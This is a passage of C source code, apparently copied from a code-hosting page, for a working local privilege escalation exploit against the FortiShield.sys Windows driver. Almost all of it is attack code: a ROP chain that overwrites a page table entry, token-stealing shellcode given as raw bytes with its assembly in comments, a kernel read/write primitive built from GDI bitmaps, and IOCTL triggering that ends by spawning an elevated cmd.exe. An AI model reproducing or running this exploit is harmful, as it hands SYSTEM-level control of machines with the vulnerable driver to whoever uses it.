ULONGLONG rop_03 = 0x0000000000000063; // DIRTY + ACCESSED + R/W + PRESENT
|
||||||
|
ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x12e259; // mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
|
||||||
|
ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0x43d68; // wbinvd ; ret
|
||||||
|
ULONGLONG rop_06 = 0x000000004900081a; // shellcode
|
||||||
|
ULONGLONG rop_07 = fortishield_callback;
|
||||||
|
ULONGLONG rop_08 = fortishield_restore;
|
||||||
|
/* </Overwrite PTE> */
|
||||||
|
|
||||||
|
/*
|
||||||
|
;kd> dt -r1 nt!_TEB
|
||||||
|
; +0x110 SystemReserved1 : [54] Ptr64 Void
|
||||||
|
;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
|
||||||
|
kd> u nt!PsGetCurrentProcess
|
||||||
|
nt!PsGetCurrentProcess:
|
||||||
|
mov rax,qword ptr gs:[188h]
|
||||||
|
mov rax,qword ptr [rax+0B8h]
|
||||||
|
|
||||||
|
- Token stealing rop_chain & restore:
|
||||||
|
|
||||||
|
start:
|
||||||
|
mov rdx, [gs:0x188]
|
||||||
|
mov r8, [rdx+0x0b8]
|
||||||
|
mov r9, [r8+0x2f0]
|
||||||
|
mov rcx, [r9]
|
||||||
|
find_system_proc:
|
||||||
|
mov rdx, [rcx-0x8]
|
||||||
|
cmp rdx, 4
|
||||||
|
jz found_it
|
||||||
|
mov rcx, [rcx]
|
||||||
|
cmp rcx, r9
|
||||||
|
jnz find_system_proc
|
||||||
|
found_it:
|
||||||
|
mov rax, [rcx+0x68]
|
||||||
|
and al, 0x0f0
|
||||||
|
mov [r8+0x358], rax
|
||||||
|
restore:
|
||||||
|
mov rbp, qword ptr [rsp+0x80]
|
||||||
|
xor rbx, rbx
|
||||||
|
mov [rbp], rbx
|
||||||
|
mov rbp, qword ptr [rsp+0x88]
|
||||||
|
mov rax, rsi
|
||||||
|
mov rsp, rax
|
||||||
|
sub rsp, 0x20
|
||||||
|
jmp rbp
|
||||||
|
*/
|
||||||
|
|
||||||
|
char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
|
||||||
|
"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
|
||||||
|
"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
|
||||||
|
"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
|
||||||
|
"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
|
||||||
|
"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
|
||||||
|
"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";
|
||||||
|
|
||||||
|
char *shellcode;
|
||||||
|
DWORD shellcode_size = 0x12000;
|
||||||
|
shellcode = (char *)malloc(shellcode_size);
|
||||||
|
memset(shellcode, 0x41, shellcode_size);
|
||||||
|
memcpy(shellcode + 0xf7c1, &rop_01, 0x08);
|
||||||
|
memcpy(shellcode + 0xf7c9, &rop_02, 0x08);
|
||||||
|
memcpy(shellcode + 0xf7d1, &rop_03, 0x08);
|
||||||
|
memcpy(shellcode + 0xf7d9, &rop_04, 0x08);
|
||||||
|
memcpy(shellcode + 0xf7e1, &rop_05, 0x08);
|
||||||
|
memcpy(shellcode + 0xf7e9, &rop_06, 0x08);
|
||||||
|
memcpy(shellcode + 0xf871, &rop_07, 0x08);
|
||||||
|
memcpy(shellcode + 0xf879, &rop_08, 0x08);
|
||||||
|
memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
|
||||||
|
|
||||||
|
BOOL WPMresult;
|
||||||
|
SIZE_T written;
|
||||||
|
WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
|
||||||
|
if (WPMresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("[+] Memory allocated at: %p\n", allocate_shellcode);
|
||||||
|
return allocate_shellcode;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID GetBaseAddr(char *drvname) {
|
||||||
|
LPVOID drivers[1024];
|
||||||
|
DWORD cbNeeded;
|
||||||
|
int nDrivers, i = 0;
|
||||||
|
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
|
||||||
|
char szDrivers[1024];
|
||||||
|
nDrivers = cbNeeded / sizeof(drivers[0]);
|
||||||
|
for (i = 0; i < nDrivers; i++) {
|
||||||
|
if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
|
||||||
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
||||||
|
if (strcmp(szDrivers, drvname) == 0) {
|
||||||
|
//printf("%s (%p)\n", szDrivers, drivers[i]);
|
||||||
|
return drivers[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD trigger_callback() {
|
||||||
|
|
||||||
|
/* This file needs to be on the local HDD to work. */
|
||||||
|
printf("[+] Creating dummy file\n");
|
||||||
|
system("echo test > test.txt");
|
||||||
|
|
||||||
|
printf("[+] Calling MoveFileEx()\n");
|
||||||
|
BOOL MFEresult;
|
||||||
|
MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
|
||||||
|
if (MFEresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
ntdll = LoadLibrary((LPCSTR)"ntdll");
|
||||||
|
if (ntdll == NULL) {
|
||||||
|
printf("[!] Error while loading ntdll: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
user32dll = LoadLibrary((LPCSTR)"user32");
|
||||||
|
if (user32dll == NULL) {
|
||||||
|
printf("[!] Error while loading user32: %d.\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HACCEL hAccel[object_number];
|
||||||
|
create_accelerator_table(hAccel, object_number);
|
||||||
|
|
||||||
|
PHANDLEENTRY handle_entry[object_number];
|
||||||
|
leak_table_kernel_address(user32dll, hAccel, handle_entry);
|
||||||
|
|
||||||
|
printf(
|
||||||
|
"[+] Accelerator Table[0] HANDLE: %I64x\n"
|
||||||
|
"[+] Accelerator Table[0] HANDLE: %I64x\n"
|
||||||
|
"[+] Accelerator Table[0] kernel address: %I64x\n"
|
||||||
|
"[+] Accelerator Table[0] kernel address: %I64x\n",
|
||||||
|
(ULONGLONG)hAccel[0],
|
||||||
|
(ULONGLONG)hAccel[1],
|
||||||
|
(ULONGLONG)handle_entry[0]->pHeader,
|
||||||
|
(ULONGLONG)handle_entry[1]->pHeader
|
||||||
|
);
|
||||||
|
|
||||||
|
ULONGLONG manager_pvScan_offset;
|
||||||
|
ULONGLONG worker_pvScan_offset;
|
||||||
|
manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
|
||||||
|
worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;
|
||||||
|
|
||||||
|
printf("[+] Replacing Accelerator Tables with BitMap objects\n");
|
||||||
|
struct bitmap_structure bitmaps;
|
||||||
|
bitmaps = create_bitmaps(hAccel);
|
||||||
|
|
||||||
|
printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
|
||||||
|
printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);
|
||||||
|
|
||||||
|
HANDLE forti;
|
||||||
|
forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (forti == INVALID_HANDLE_VALUE) {
|
||||||
|
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
|
||||||
|
LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
|
||||||
|
ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x1468b0;
|
||||||
|
ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
|
||||||
|
ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
|
||||||
|
printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
|
||||||
|
printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
|
||||||
|
|
||||||
|
DWORD IoControlCode = 0x220028;
|
||||||
|
ULONGLONG InputBuffer = kernel_pivot;
|
||||||
|
DWORD InputBufferLength = 0x8;
|
||||||
|
ULONGLONG OutputBuffer = 0x0;
|
||||||
|
DWORD OutputBufferLength = 0x0;
|
||||||
|
DWORD lpBytesReturned;
|
||||||
|
|
||||||
|
LPVOID rop_chain_allocation;
|
||||||
|
rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);
|
||||||
|
|
||||||
|
HANDLE hThread;
|
||||||
|
LPDWORD hThread_id = 0;
|
||||||
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
|
||||||
|
if (hThread == NULL)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL hThread_priority;
|
||||||
|
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
|
||||||
|
if (hThread_priority == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL triggerIOCTL;
|
||||||
|
ResumeThread(hThread);
|
||||||
|
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
|
||||||
|
/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
|
||||||
|
ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x9c957;
|
||||||
|
write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);
|
||||||
|
|
||||||
|
ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
|
||||||
|
printf("[+] PTE virtual base address: %I64x\n", pte_start);
|
||||||
|
|
||||||
|
ULONGLONG pte_result;
|
||||||
|
ULONGLONG pte_value = 0x49000000;
|
||||||
|
pte_result = get_pxe_address_64(pte_value, pte_start);
|
||||||
|
printf("[+] PTE virtual address for 0x49000000: %I64x\n", pte_result);
|
||||||
|
/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
|
||||||
|
|
||||||
|
BOOL VFresult;
|
||||||
|
VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
|
||||||
|
if (VFresult == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID shellcode_allocation;
|
||||||
|
shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);
|
||||||
|
|
||||||
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
|
||||||
|
if (hThread == NULL)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
|
||||||
|
if (hThread_priority == 0)
|
||||||
|
{
|
||||||
|
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ResumeThread(hThread);
|
||||||
|
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
|
||||||
|
printf("\n");
|
||||||
|
system("start cmd.exe");
|
||||||
|
DeleteObject(bitmaps.manager_bitmap);
|
||||||
|
DeleteObject(bitmaps.worker_bitmap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
Loading…
Add table
Reference in a new issue